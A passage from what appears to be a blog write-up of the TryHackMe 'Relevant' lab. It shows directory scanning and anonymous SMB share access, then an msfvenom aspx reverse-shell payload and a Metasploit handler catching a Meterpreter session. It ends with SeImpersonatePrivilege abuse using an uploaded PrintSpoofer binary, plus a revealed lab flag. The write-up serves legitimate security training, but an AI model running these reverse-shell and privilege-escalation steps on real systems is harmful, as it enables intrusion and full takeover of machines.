&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">💢&lt;/span> &lt;span class="n">Status&lt;/span> &lt;span class="n">Code&lt;/span> &lt;span class="n">Filters&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">400&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">404&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">503&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">💥&lt;/span> &lt;span class="n">Timeout&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">secs&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="mi">7&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🦡&lt;/span> &lt;span class="n">User&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Agent&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="n">feroxbuster&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.10.3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🔎&lt;/span> &lt;span class="n">Extract&lt;/span> &lt;span class="n">Links&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🏁&lt;/span> &lt;span class="n">HTTP&lt;/span> &lt;span class="n">methods&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">GET&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🚫&lt;/span> &lt;span class="n">Do&lt;/span> &lt;span class="n">Not&lt;/span> &lt;span class="n">Recurse&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🎉&lt;/span> &lt;span class="n">New&lt;/span> &lt;span class="n">Version&lt;/span> &lt;span class="n">Available&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="n">https&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">github.com&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">epi052&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">feroxbuster&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">releases&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">latest&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">───────────────────────────┴──────────────────────&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🏁&lt;/span> &lt;span class="n">Press&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">ENTER&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="n">use&lt;/span> &lt;span class="n">the&lt;/span> &lt;span class="n">Scan&lt;/span> &lt;span class="n">Management&lt;/span> &lt;span class="n">Menu&lt;/span>&lt;span class="err">™&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">──────────────────────────────────────────────────&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">404&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">l&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">w&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="n">Auto&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">filtering&lt;/span> &lt;span class="n">found&lt;/span> &lt;span class="mi">404&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">like&lt;/span> &lt;span class="n">response&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">created&lt;/span> &lt;span class="n">new&lt;/span> &lt;span class="n">filter&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">toggle&lt;/span> &lt;span class="n">off&lt;/span> &lt;span class="n">with&lt;/span> &lt;span class="c1">--dont-filter&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">200&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="mi">334&lt;/span>&lt;span class="n">l&lt;/span> &lt;span class="mi">2089&lt;/span>&lt;span class="n">w&lt;/span> &lt;span class="mi">180418&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.178.5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">49663&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">iisstart.png&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">200&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="mi">32&lt;/span>&lt;span class="n">l&lt;/span> &lt;span class="mi">55&lt;/span>&lt;span class="n">w&lt;/span> &lt;span class="mi">703&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.178.5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">49663&lt;/span>&lt;span class="o">/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">301&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="n">l&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="n">w&lt;/span> &lt;span class="mi">157&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.178.5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">49663&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">nt4wrksv&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.178.5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">49663&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">nt4wrksv&lt;/span>&lt;span class="o">/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">~/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">cat&lt;/span> &lt;span class="err">$&lt;/span>&lt;span class="n">SECLISTS&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Discovery&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Web&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Content&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">directory&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">list&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mf">2.3&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">medium.txt&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">grep&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="kr">in&lt;/span> &lt;span class="s2">&amp;#34;nt4wrksv&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">220538&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">nt4wrksv&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="port-445">Port 445
&lt;/h3>&lt;p>It has a share &lt;code>nt4wrksv&lt;/code> available with anonymous access(Note: the same folder is available from port 49663)
It has a passwords.txt file. This passwords.txt file is also accessible from port 49663. This is a serious vulnerability. I can now upload an aspx reverse shell(since windows) in smb share, then access it from port 49663 to execute it.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">~/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">smbclient&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">L&lt;/span> &lt;span class="err">\\\\&lt;/span>&lt;span class="mf">10.10.171.47&lt;/span>&lt;span class="err">\\&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">U&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Password&lt;/span> &lt;span class="kr">for&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">WORKGROUP&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">]:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Sharename&lt;/span> &lt;span class="n">Type&lt;/span> &lt;span class="n">Comment&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">--------- ---- -------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ADMIN&lt;/span>&lt;span class="err">$&lt;/span> &lt;span class="n">Disk&lt;/span> &lt;span class="n">Remote&lt;/span> &lt;span class="n">Admin&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">C&lt;/span>&lt;span class="err">$&lt;/span> &lt;span class="n">Disk&lt;/span> &lt;span class="n">Default&lt;/span> &lt;span class="n">share&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IPC&lt;/span>&lt;span class="err">$&lt;/span> &lt;span class="n">IPC&lt;/span> &lt;span class="n">Remote&lt;/span> &lt;span class="n">IPC&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">nt4wrksv&lt;/span> &lt;span class="n">Disk&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SMB1&lt;/span> &lt;span class="n">disabled&lt;/span> &lt;span class="c1">-- no workgroup available&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I used msfvenom to generate an aspx shell so as to recieve a meterpreter shell. This is the alternate reverse shell to use if you want a nc session: &lt;a class="link" href="https://gist.githubusercontent.com/qtc-de/19dfc9018685fce1ba2092c8e2382a79/raw/6d4df39b991b6fe54c606eee45483b17cdd09c4c/aspx-reverse-shell.aspx" target="_blank" rel="noopener"
>&lt;code>qtc-de&lt;/code>&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">~/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">msfvenom&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="n">windows&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">x64&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">meterpreter_reverse_tcp&lt;/span> &lt;span class="n">lhost&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">IP&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">lport&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">PORT&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">f&lt;/span> &lt;span class="n">aspx&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">o&lt;/span> &lt;span class="n">shell.aspx&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then started a handler in msfconsole,&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">~/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">msf6&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">use&lt;/span> &lt;span class="n">exploit&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">multi&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">handler&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">msf6&lt;/span> &lt;span class="n">exploit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">multi&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">handler&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">set&lt;/span> &lt;span class="n">payload&lt;/span> &lt;span class="n">windows&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">x64&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">meterpreter_reverse_tcp&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">msf6&lt;/span> &lt;span class="n">exploit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">multi&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">handler&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">set&lt;/span> &lt;span class="n">lhost&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">IP&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">msf6&lt;/span> &lt;span class="n">exploit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">multi&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">handler&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">set&lt;/span> &lt;span class="n">lport&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">PORT&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">msf6&lt;/span> &lt;span class="n">exploit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">multi&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">handler&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">run&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Started&lt;/span> &lt;span class="n">reverse&lt;/span> &lt;span class="n">TCP&lt;/span> &lt;span class="n">handler&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">IP&lt;/span>&lt;span class="p">]:&lt;/span>&lt;span class="mi">4444&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Uploading the shell file in the &lt;code>nt4wrksv&lt;/code> smb share.(Do change your attack ip and port in the shell.aspx file.)
I uploaded shell.aspx file with put command and queried the shell file from browser, got shell and also &lt;code>user.txt&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">~/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">msf6&lt;/span> &lt;span class="n">exploit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">multi&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">handler&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">run&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Started&lt;/span> &lt;span class="n">reverse&lt;/span> &lt;span class="n">TCP&lt;/span> &lt;span class="n">handler&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="mf">10.14.82.36&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4444&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Meterpreter&lt;/span> &lt;span class="n">session&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="n">opened&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mf">10.14.82.36&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4444&lt;/span> &lt;span class="o">-&amp;gt;&lt;/span> &lt;span class="mf">10.10.178.5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">49732&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">at&lt;/span> &lt;span class="mi">2024&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">06&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">17&lt;/span> &lt;span class="mi">02&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">36&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">23&lt;/span> &lt;span class="o">+&lt;/span>&lt;span class="mi">0530&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">meterpreter&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">getuid&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Server&lt;/span> &lt;span class="n">username&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">IIS&lt;/span> &lt;span class="n">APPPOOL&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">DefaultAppPool&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">meterpreter&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">shell&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">windows&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">system32&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">inetsrv&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">cd&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">bob&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">desktop&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Users&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Bob&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Desktop&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">type&lt;/span> &lt;span class="n">user.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">type&lt;/span> &lt;span class="n">user.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">THM&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="n">fdk4ka34vk346ksxfr21tg789ktf45&lt;/span>&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="privilege-escalation">Privilege Escalation
&lt;/h2>&lt;p>First of all, always check for privileges the current user has.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Users&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Bob&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="n">Desktop&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="n">whoami&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">priv&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">whoami&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">priv&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PRIVILEGES&lt;/span> &lt;span class="n">INFORMATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">----------------------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Privilege&lt;/span> &lt;span class="n">Name&lt;/span> &lt;span class="n">Description&lt;/span> &lt;span class="n">State&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">=============================&lt;/span> &lt;span class="o">=========================================&lt;/span> &lt;span class="o">========&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SeAssignPrimaryTokenPrivilege&lt;/span> &lt;span class="n">Replace&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="n">process&lt;/span> &lt;span class="n">level&lt;/span> &lt;span class="n">token&lt;/span> &lt;span class="n">Disabled&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SeIncreaseQuotaPrivilege&lt;/span> &lt;span class="n">Adjust&lt;/span> &lt;span class="n">memory&lt;/span> &lt;span class="n">quotas&lt;/span> &lt;span class="kr">for&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="n">process&lt;/span> &lt;span class="n">Disabled&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SeAuditPrivilege&lt;/span> &lt;span class="n">Generate&lt;/span> &lt;span class="n">security&lt;/span> &lt;span class="n">audits&lt;/span> &lt;span class="n">Disabled&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SeChangeNotifyPrivilege&lt;/span> &lt;span class="n">Bypass&lt;/span> &lt;span class="n">traverse&lt;/span> &lt;span class="n">checking&lt;/span> &lt;span class="n">Enabled&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SeImpersonatePrivilege&lt;/span> &lt;span class="n">Impersonate&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="n">client&lt;/span> &lt;span class="n">after&lt;/span> &lt;span class="n">authentication&lt;/span> &lt;span class="n">Enabled&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SeCreateGlobalPrivilege&lt;/span> &lt;span class="n">Create&lt;/span> &lt;span class="n">global&lt;/span> &lt;span class="n">objects&lt;/span> &lt;span class="n">Enabled&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SeIncreaseWorkingSetPrivilege&lt;/span> &lt;span class="n">Increase&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="n">process&lt;/span> &lt;span class="n">working&lt;/span> &lt;span class="n">set&lt;/span> &lt;span class="n">Disabled&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We see that the user has &lt;code>SeImpersonatePrivilege&lt;/code>. This means, a specific privilege in Windows OS that allows a process to impersonate a user or another process. So I can abuse this by a custom process to impersonate as the &lt;code>NT\Authority&lt;/code> user.
So to exploit this, quick google search gives us this &lt;a class="link" href="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer" target="_blank" rel="noopener"
>link&lt;/a> from Hacktricks(A great resource).&lt;/p>
&lt;p>A/c to usage, the command given to the PrintSpoofer.exe in &lt;code>-c&lt;/code> flag will be executed as &lt;code>NT\Authority&lt;/code> user.&lt;/p>
&lt;p>Here is the file &lt;a class="link" href="https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe" target="_blank" rel="noopener"
>&lt;code>PrintSpooferx64.exe&lt;/code>&lt;/a>.
I will upload it using the upload command in meterpreter session, then execute it with &lt;code>-c&lt;/code> flag to give a powershell session of privileged user.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">meterpreter&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">cd&lt;/span> &lt;span class="s1">&amp;#39;c:&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="s1">inetpub&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="s1">wwwroot&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s1">t4wrksv&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">meterpreter&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">upload&lt;/span> &lt;span class="n">PrintSpoofer64.exe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Uploading&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">Users&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">vikas&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">PrintSpoofer64.exe&lt;/span> &lt;span class="o">-&amp;gt;&lt;/span> &lt;span class="n">PrintSpoofer64.exe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Uploaded&lt;/span> &lt;span class="mf">26.50&lt;/span> &lt;span class="n">KiB&lt;/span> &lt;span class="n">of&lt;/span> &lt;span class="mf">26.50&lt;/span> &lt;span class="n">KiB&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mf">100.0&lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="p">):&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">Users&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">vikas&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">PrintSpoofer64.exe&lt;/span> &lt;span class="o">-&amp;gt;&lt;/span> &lt;span class="n">PrintSpoofer64.exe&lt;/span>
